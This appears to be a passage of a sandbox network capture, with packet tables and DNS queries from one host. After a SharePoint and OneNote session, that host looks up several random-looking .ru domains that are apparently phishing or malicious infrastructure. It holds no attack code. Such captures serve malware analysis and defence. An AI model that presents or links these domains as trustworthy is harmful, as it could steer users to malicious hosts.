Apr 26, 2024 10:00:27.867934942 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.873034954 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.873112917 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.873119116 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.873152971 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.873277903 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.888086081 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.900046110 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.903652906 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.903743982 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.903749943 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.903779030 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.904361963 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.917129040 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.925055981 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.925081015 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.925108910 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.925126076 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.925201893 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.925232887 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.925257921 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.925518990 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.925550938 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.933336973 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.933379889 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.933468103 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.933671951 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.933701038 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.128086090 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.128257990 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.128314972 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:28.128331900 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.128371000 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:28.128534079 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.128688097 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.128746033 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:28.129264116 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:28.129277945 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:28.279699087 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.279956102 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.280014992 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.280375004 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.280765057 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.280837059 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.281004906 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.324124098 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.698968887 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.699004889 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.699031115 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.699052095 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.699084044 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.699189901 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.700387955 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.711182117 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.711253881 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.711275101 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.723512888 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.723570108 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.723582983 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.735913992 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.735935926 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.735970020 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.735985041 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.736030102 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.748219967 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.790235996 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.853269100 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.859435081 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.859461069 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.859484911 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.859503984 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.859563112 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.872045994 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.884121895 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.884144068 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.884234905 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.884248972 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.884311914 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.896450043 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.896481037 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.896558046 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.896572113 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.909023046 CEST	443	50066	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:28.909086943 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.913990974 CEST	50066	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:28.914016008 CEST	443	50066	142.250.64.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:59:06.049887896 CEST	53	50338	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:06.065172911 CEST	53	60845	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:06.891254902 CEST	53	57668	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:07.604680061 CEST	64632	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:07.604793072 CEST	63081	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:08.791714907 CEST	62911	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:08.791898966 CEST	51886	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:08.916371107 CEST	53	62911	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:08.916547060 CEST	53	51886	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:10.443033934 CEST	57148	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:10.443363905 CEST	55440	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:10.568294048 CEST	53	57148	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:10.569252968 CEST	53	55440	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:13.191881895 CEST	58509	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:13.192151070 CEST	61309	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:20.314423084 CEST	53	61612	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:20.419277906 CEST	53	62046	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:24.308434010 CEST	53	49973	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:26.690052032 CEST	60052	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:26.690495968 CEST	54358	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:27.408921957 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 09:59:30.745312929 CEST	52972	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:30.745682001 CEST	64627	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:30.991069078 CEST	57941	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:30.991499901 CEST	60327	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:30.992610931 CEST	51040	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:30.992738008 CEST	51955	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:31.118570089 CEST	53	51955	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:31.256378889 CEST	54714	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:31.256787062 CEST	58662	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:31.851083040 CEST	60957	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:31.851243019 CEST	51346	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:32.609286070 CEST	51047	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:32.609564066 CEST	62834	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:33.598002911 CEST	51592	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:33.598149061 CEST	65474	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:35.036500931 CEST	64079	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:35.036626101 CEST	62875	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:41.742698908 CEST	56900	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:41.743195057 CEST	51267	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:41.748598099 CEST	56045	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:41.748903036 CEST	58681	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:41.868845940 CEST	53	51267	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:41.873539925 CEST	53	56045	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:41.874119997 CEST	53	58681	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:43.219690084 CEST	53	60542	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:43.581521034 CEST	61131	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:43.581913948 CEST	62872	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:43.708266020 CEST	53	62872	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:50.330414057 CEST	54260	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:50.330586910 CEST	51743	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:50.718998909 CEST	53	54260	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:50.808326006 CEST	53	51743	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:51.940958977 CEST	57075	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:51.941148043 CEST	49323	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:52.344187975 CEST	53	57075	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:52.423108101 CEST	53	49323	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:54.017019987 CEST	64903	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:54.017019987 CEST	62654	53	192.168.2.4	1.1.1.1
Apr 26, 2024 09:59:54.383688927 CEST	53	62654	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:54.487865925 CEST	53	64903	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:56.302117109 CEST	53	56142	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:58.028966904 CEST	53	52782	1.1.1.1	192.168.2.4
Apr 26, 2024 09:59:59.799984932 CEST	53	51241	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:00.409949064 CEST	53	58445	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:01.913424015 CEST	61207	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:01.913815975 CEST	58935	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:02.038808107 CEST	53	58935	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:02.038906097 CEST	53	61207	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:05.431669950 CEST	53	62635	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:06.599030972 CEST	53	50177	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:09.392291069 CEST	55292	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:09.392724037 CEST	53922	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:09.830785990 CEST	53	55292	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:09.933655977 CEST	53	53922	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:10.740525961 CEST	64158	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.740690947 CEST	64912	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.741342068 CEST	51102	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.741625071 CEST	61379	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.747652054 CEST	50276	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.747833967 CEST	64797	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:10.867234945 CEST	53	64158	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:10.867878914 CEST	53	64912	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:10.867898941 CEST	53	51102	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:10.868077040 CEST	53	61379	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:10.873222113 CEST	53	50276	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:11.094321012 CEST	53	64797	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:11.765252113 CEST	53	65349	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:11.810019016 CEST	57101	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:11.810226917 CEST	49686	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:11.981992006 CEST	53	57101	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:13.190964937 CEST	49178	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.191097021 CEST	63726	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.191364050 CEST	60317	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.191478014 CEST	58166	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.192157030 CEST	51118	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.192310095 CEST	61692	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.316179037 CEST	53	58166	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:13.316447020 CEST	53	60317	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:13.432420015 CEST	50224	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.432742119 CEST	53050	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.557605982 CEST	53	53050	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:13.557641983 CEST	53	50224	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:13.715226889 CEST	58313	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:13.715569973 CEST	57585	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:15.364692926 CEST	53	63777	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:18.956063986 CEST	63832	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:18.956424952 CEST	59844	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:19.346776962 CEST	53	59844	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:19.389061928 CEST	53	63832	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:20.979268074 CEST	56098	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:20.979419947 CEST	63073	53	192.168.2.4	1.1.1.1
Apr 26, 2024 10:00:21.069586039 CEST	53	60333	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:21.368809938 CEST	53	63073	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:21.386399031 CEST	53	56098	1.1.1.1	192.168.2.4
Apr 26, 2024 10:00:27.648032904 CEST	53	65477	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 26, 2024 09:59:26.904571056 CEST	192.168.2.4	1.1.1.1	c277	(Port unreachable)	Destination Unreachable
Apr 26, 2024 09:59:31.533492088 CEST	192.168.2.4	1.1.1.1	c292	(Port unreachable)	Destination Unreachable
Apr 26, 2024 09:59:33.862576008 CEST	192.168.2.4	1.1.1.1	c292	(Port unreachable)	Destination Unreachable
Apr 26, 2024 09:59:35.278990984 CEST	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable
Apr 26, 2024 09:59:50.808444023 CEST	192.168.2.4	1.1.1.1	c22d	(Port unreachable)	Destination Unreachable
Apr 26, 2024 09:59:52.423671961 CEST	192.168.2.4	1.1.1.1	c22d	(Port unreachable)	Destination Unreachable
Apr 26, 2024 10:00:09.933721066 CEST	192.168.2.4	1.1.1.1	c22c	(Port unreachable)	Destination Unreachable
Apr 26, 2024 10:00:11.094382048 CEST	192.168.2.4	1.1.1.1	c22c	(Port unreachable)	Destination Unreachable
Apr 26, 2024 10:00:13.443038940 CEST	192.168.2.4	1.1.1.1	c289	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 09:59:07.604680061 CEST	192.168.2.4	1.1.1.1	0xba9c	Standard query (0)	usigroups-my.sharepoint.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:07.604793072 CEST	192.168.2.4	1.1.1.1	0x2b94	Standard query (0)	usigroups-my.sharepoint.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:08.791714907 CEST	192.168.2.4	1.1.1.1	0xaa5a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:08.791898966 CEST	192.168.2.4	1.1.1.1	0x3600	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:10.443033934 CEST	192.168.2.4	1.1.1.1	0xaacc	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:10.443363905 CEST	192.168.2.4	1.1.1.1	0xc05a	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:13.191881895 CEST	192.168.2.4	1.1.1.1	0x2f12	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:13.192151070 CEST	192.168.2.4	1.1.1.1	0x7297	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Apr 26, 2024 09:59:26.690052032 CEST	192.168.2.4	1.1.1.1	0xd8cf	Standard query (0)	spoprod-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:26.690495968 CEST	192.168.2.4	1.1.1.1	0x1be7	Standard query (0)	spoprod-a.akamaihd.net	65	IN (0x0001)	false
Apr 26, 2024 09:59:30.745312929 CEST	192.168.2.4	1.1.1.1	0x55bc	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:30.745682001 CEST	192.168.2.4	1.1.1.1	0xca1f	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:30.991069078 CEST	192.168.2.4	1.1.1.1	0x9147	Standard query (0)	amcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:30.991499901 CEST	192.168.2.4	1.1.1.1	0xd320	Standard query (0)	amcdn.msftauth.net	65	IN (0x0001)	false
Apr 26, 2024 09:59:30.992610931 CEST	192.168.2.4	1.1.1.1	0xf8b1	Standard query (0)	storage.live.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:30.992738008 CEST	192.168.2.4	1.1.1.1	0xe0d9	Standard query (0)	storage.live.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:31.256378889 CEST	192.168.2.4	1.1.1.1	0xa894	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:31.256787062 CEST	192.168.2.4	1.1.1.1	0x6938	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:31.851083040 CEST	192.168.2.4	1.1.1.1	0xc3cf	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:31.851243019 CEST	192.168.2.4	1.1.1.1	0xc7b7	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:32.609286070 CEST	192.168.2.4	1.1.1.1	0x91f3	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:32.609564066 CEST	192.168.2.4	1.1.1.1	0x62c7	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:33.598002911 CEST	192.168.2.4	1.1.1.1	0x80b6	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:33.598149061 CEST	192.168.2.4	1.1.1.1	0xae5f	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:35.036500931 CEST	192.168.2.4	1.1.1.1	0x4fc6	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:35.036626101 CEST	192.168.2.4	1.1.1.1	0x248f	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:41.742698908 CEST	192.168.2.4	1.1.1.1	0xc48d	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:41.743195057 CEST	192.168.2.4	1.1.1.1	0xdb97	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:41.748598099 CEST	192.168.2.4	1.1.1.1	0x3fa7	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:41.748903036 CEST	192.168.2.4	1.1.1.1	0x2162	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:43.581521034 CEST	192.168.2.4	1.1.1.1	0xa6df	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:43.581913948 CEST	192.168.2.4	1.1.1.1	0x2df2	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Apr 26, 2024 09:59:50.330414057 CEST	192.168.2.4	1.1.1.1	0x25b6	Standard query (0)	4odq.cxnev1.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:50.330586910 CEST	192.168.2.4	1.1.1.1	0x5366	Standard query (0)	4odq.cxnev1.ru	65	IN (0x0001)	false
Apr 26, 2024 09:59:51.940958977 CEST	192.168.2.4	1.1.1.1	0xd8e5	Standard query (0)	yo5.6gniu68.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:51.941148043 CEST	192.168.2.4	1.1.1.1	0x873	Standard query (0)	yo5.6gniu68.ru	65	IN (0x0001)	false
Apr 26, 2024 09:59:54.017019987 CEST	192.168.2.4	1.1.1.1	0x10bb	Standard query (0)	yo5.6gniu68.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:54.017019987 CEST	192.168.2.4	1.1.1.1	0x90b0	Standard query (0)	yo5.6gniu68.ru	65	IN (0x0001)	false
Apr 26, 2024 10:00:01.913424015 CEST	192.168.2.4	1.1.1.1	0x7b62	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:01.913815975 CEST	192.168.2.4	1.1.1.1	0x9ef2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:09.392291069 CEST	192.168.2.4	1.1.1.1	0xe276	Standard query (0)	fdexa.nhol.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:09.392724037 CEST	192.168.2.4	1.1.1.1	0xddb4	Standard query (0)	fdexa.nhol.ru	65	IN (0x0001)	false
Apr 26, 2024 10:00:10.740525961 CEST	192.168.2.4	1.1.1.1	0xbfbf	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.740690947 CEST	192.168.2.4	1.1.1.1	0xddbb	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:10.741342068 CEST	192.168.2.4	1.1.1.1	0x50a4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.741625071 CEST	192.168.2.4	1.1.1.1	0x4f88	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:10.747652054 CEST	192.168.2.4	1.1.1.1	0xb604	Standard query (0)	fdexa.nhol.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.747833967 CEST	192.168.2.4	1.1.1.1	0x2c9d	Standard query (0)	fdexa.nhol.ru	65	IN (0x0001)	false
Apr 26, 2024 10:00:11.810019016 CEST	192.168.2.4	1.1.1.1	0xd5b4	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:11.810226917 CEST	192.168.2.4	1.1.1.1	0x9c10	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:13.190964937 CEST	192.168.2.4	1.1.1.1	0x59bd	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.191097021 CEST	192.168.2.4	1.1.1.1	0x2195	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Apr 26, 2024 10:00:13.191364050 CEST	192.168.2.4	1.1.1.1	0x618f	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.191478014 CEST	192.168.2.4	1.1.1.1	0x9b0a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:13.192157030 CEST	192.168.2.4	1.1.1.1	0x3733	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.192310095 CEST	192.168.2.4	1.1.1.1	0x597a	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Apr 26, 2024 10:00:13.432420015 CEST	192.168.2.4	1.1.1.1	0xc13e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.432742119 CEST	192.168.2.4	1.1.1.1	0xb08d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 10:00:13.715226889 CEST	192.168.2.4	1.1.1.1	0xd5bd	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.715569973 CEST	192.168.2.4	1.1.1.1	0x6a5a	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Apr 26, 2024 10:00:18.956063986 CEST	192.168.2.4	1.1.1.1	0x120b	Standard query (0)	fnfi.kewtdz.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:18.956424952 CEST	192.168.2.4	1.1.1.1	0x3ce4	Standard query (0)	fnfi.kewtdz.ru	65	IN (0x0001)	false
Apr 26, 2024 10:00:20.979268074 CEST	192.168.2.4	1.1.1.1	0x5594	Standard query (0)	fnfi.kewtdz.ru	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:20.979419947 CEST	192.168.2.4	1.1.1.1	0x3703	Standard query (0)	fnfi.kewtdz.ru	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
